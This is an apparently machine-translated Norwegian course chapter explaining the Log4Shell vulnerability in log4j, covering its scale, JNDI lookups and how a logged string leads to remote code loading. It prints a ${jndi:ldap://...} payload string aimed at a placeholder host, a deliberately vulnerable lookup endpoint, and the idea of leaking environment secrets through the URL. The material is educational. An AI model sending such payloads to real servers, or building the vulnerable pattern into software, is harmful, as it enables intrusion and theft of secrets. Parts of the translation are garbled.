7.1 Skandale
Og selvfølgelig er det umulig å ikke fortelle om historien som skjedde ganske nylig - på slutten av 2021.
US Cybersecurity and Infrastructure Protection Agency (CISA) sa at problemet Log4Sheller en av de mest alvorlige sårbarhetene i historien. Ja, vi snakker om favorittbiblioteket vårt log4j.
Vårt koselige lille bibliotek log4j og historiens største sårbarhet ? fascinert? Så hør.
7.2 Katastrofens omfang
Oppdagelsen av en kritisk sårbarhet Log4Shell(kode CVE-2021-44228) ble annonsert 9. desember 2021 av sikkerhetseksperter fra Lunasec. Eksperter fra Apache Security Team Java-fellesskapet har verifisert denne informasjonen og publisert en liste over sårbare Java-biblioteker. Listen var bare enorm.
Hvis et Java-prosjekt brukte et bibliotek log4j, kan det hackes ganske enkelt. Og gitt at nesten all serverprogramvare er skrevet i Javaden log4jmest populære java-loggeren, ifølge sikkerhetseksperter, påvirket sårbarheten 93 % av bedriftens skymiljøer. Inkludert slike som Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam og mange flere
Dessuten påvirket sårbarheten ikke bare serverprogramvare, men også mange Java-applikasjoner, så vel som maskinvareprodusenter. For eksempel publiserte Intel en liste over 32 hackbare programmer: SDK-er, servervedlikeholdssystemer, Linux-verktøy.
Nvidia la også ut en sikkerhetsproblemrapport som nevnte DGX-servere og NetQ-verktøy. En rekke oppdateringer ble raskt utgitt av Apple og Microsoft.
Grovt sett setter en linje i adressefeltet til en elevs nettleser serveren hvis denne linjen blir spist opp av loggeren (på mange servere logges alt HTTP-requests).
Etter å ha analysert koden, viste det seg at sårbarheten hadde sittet på biblioteket siden 2013, men det merket de først nå. Og da de begynte å grave dypere, oppdaget de en avgrunn, hvis bunn ikke er synlig i det hele tatt.
7.3 Den mest alvorlige sårbarheten i historien
Tilbake i desember 2021 uttalte US Cybersecurity and Infrastructure Protection Agency (CISA) at Log4Shelldet er en av de mest alvorlige sårbarhetene i historien .
Mange andre eksperter uttrykker en lignende oppfatning . Alle vet om denne sårbarheten, og hackere i alle aldre bruker den allerede til å stjele personlige data og andre typer angrep på ulike organisasjoner. I fremtiden venter vi på en bølge av massive hacks og datalekkasjer.
Omfanget av katastrofen kan måles selv ved at det er et eget nettsted med memes om Log4j , og hver dag er det nye bilder.
Dette problemet har vært med oss i lang tid. Et sikkerhetshull i millioner om ikke hundrevis av millioner av datasystemer. All gammel programvare må oppdateres og i det minste erstatte dette biblioteket der. Men i de fleste tilfeller vet ingen engang hvilke biblioteker og hvilke versjoner som brukes i programvaren deres.
Generelt forventer vi en kraftig økning i lønnen til datasikkerhetsspesialister.
7.4 Sårbarhetens art
For å forstå essensen av sårbarheten, må du forstå hvordan store serversystemer er ordnet. Ofte er slike serverapplikasjoner delt inn i forskjellige tjenester som er plassert på forskjellige servere. Og JNDI-tjenesten hjelper dem å samhandle.
Java Naming and Directory Interface (JNDI) er Java APIå slå opp objekter/tjenester etter navn. Disse objektene kan lagres i ulike navnetjenester eller kataloger som Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) eller Domain Name Service (DNS).
Å jobbe med det er veldig enkelt - det er en enkel en Java APIsom bare tar en strengparameter - navnet på tjenesten. Med den kan du kontakte hvilken som helst tjeneste og be ham om å gjøre noe og / eller sende noen data. For eksempel vil streng ${jndi:ldap://example.com/file}laste data fra denne URLspesifisert i strengen.
Hvis parameteren kommer fra en ikke-klarert kilde, kan det føre til ekstern klasselasting og kjøring av tredjepartskode . Hva skjer i tilfelle Log4j. Angriperen dirigerer ganske enkelt offerets Java-applikasjon til den ondsinnede rmi/ldap/corba-serverog mottar et ondsinnet objekt som svar.
Teknisk sett ligger ikke problemet her i log4jselve biblioteket, men i sikkerhetsinnstillingene når du arbeider med JNDI-service. Du må alltid sjekke hva slags streng vi sender til InitialContext.lookup().
Sårbart eksempel JNDI-applications:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}7.5 For smart bibliotek
Og hvor log4jspør du? Saken er at utviklerne ønsket å gjøre arbeidet med det så komfortabelt som mulig og la til smart logging til det. Slik fungerer det:
Det hele startet med det faktum at loggmeldinger tillot deg å angi en mal der data ble erstattet, for eksempel:
log.debug(“User {user} has {count} friends”, user, count);
Den gamle versjonen uten dataerstatning så slik ut:
log.debug( “User “+user +” has “+ count +” friends”);
I 2013 ble erstatningen av smarte prefikser spesifisert av visningsmalen også lagt til biblioteket ${prefix:name}. For eksempel vil strengen “${java:version}”bli konvertert til «Java version 1.7.0_67». Å så praktisk.
Blant de gjenkjente uttrykkene er ${jndi:<lookup>}hvor du etter jndi-protokollen kan spesifisere et søk gjennom LDAP: vilkårlig URL-addresskan spørres og lastes inn som objektdata Java.
Dette er et standardproblem for hele tilnærmingen JDK: det deserialiserer automatisk et objekt, en lenke til som kan settes i form av en url. I dette tilfellet lastes ikke bare dataene til objektet fra den eksterne ressursen, men også koden til klassen.
Hacket ser slik ut:
- Laster ned en fil med ondsinnet kode
- Filen inneholder serialisert
Java an object(og dens klasse) - Klassen laster
Java-machine - Et objekt av en ondsinnet klasse blir opprettet
- Objektets konstruktør kalles
- Både konstruktør og statisk initialisering lar ondsinnet klassekode kjøres
log4jHvis det er noe slikt i linjen som blir logget ${jndi:ldap://example.com/file}, log4jvil den laste ned data fra denne URL-addressnår den kobles til Internett . Ved å skrive inn en streng som er logget, kan en angriper laste ned og kjøre ondsinnet kode som er vert på en offentlig URL-address.
Selv om datakjøring er deaktivert, kan en angriper skaffe data, for eksempel hemmelige miljøvariabler, ved å plassere dem i en , URL-addresssom vil erstatte dem og sende dem til angriperens server.
Den gode nyheten er at problemet raskt ble løst i biblioteket .
Den dårlige nyheten er at millioner av servere rundt om i verden fortsatt kjører den gamle versjonen av dette biblioteket ...